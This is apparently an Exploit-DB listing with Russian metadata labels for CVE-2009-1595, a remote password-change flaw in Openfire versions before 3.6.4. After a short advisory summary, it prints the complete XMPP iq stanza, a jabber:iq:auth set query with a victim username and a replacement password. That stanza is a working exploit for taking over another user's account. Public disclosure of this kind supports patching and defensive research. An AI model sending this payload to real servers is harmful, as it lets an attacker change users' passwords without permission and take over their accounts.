Exploit Openfire 3.x - jabber:iq:auth 'passwd_change' Remote Password Change

[Exploiter]

EDB-ID

32967

Проверка EDB

1. Пройдено

Автор

DARYL HERZMANN

Тип уязвимости

REMOTE

Платформа

MULTIPLE

CVE

cve-2009-1595

Дата публикации

2009-05-04

source: https://www.securityfocus.com/bid/34804/info

Openfire is prone to a vulnerability that can permit an attacker to change the password of arbitrary users.

Exploiting this issue can allow the attacker to gain unauthorized access to the affected application and to completely compromise victims' accounts.

Versions prior to Openfire 3.6.4 are vulnerable.

<iq type='set' id='passwd_change'>
<query xmlns='jabber:iq:auth'>
<username>test2</username>
<password>newillegalychangedpassword</password>
</query>
</iq>